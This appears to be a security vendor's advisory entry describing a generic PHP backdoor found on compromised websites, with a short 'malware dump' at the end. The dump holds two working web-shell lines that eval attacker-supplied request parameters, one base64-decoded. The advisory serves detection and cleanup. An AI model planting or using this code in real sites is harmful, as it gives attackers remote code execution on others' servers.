Description: We detected a generic backdoor that allows attackers to upload files, delete files, access, modify and/or reinfect your site. It is often hidden in the filesystem and hard to find without access to the server or logs.
It also includes uploadify scripts and similars that offer upload options without security.
Affecting: Any web site (often through outdated WordPress, Joomla, vBulletin, osCommerce and stolen passwords).
Clean up: You can also sign up with us and let our team remove the malware for you.
Malware dump:
if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST["asc"]));
eval (base64_decode($_POST["php"]));
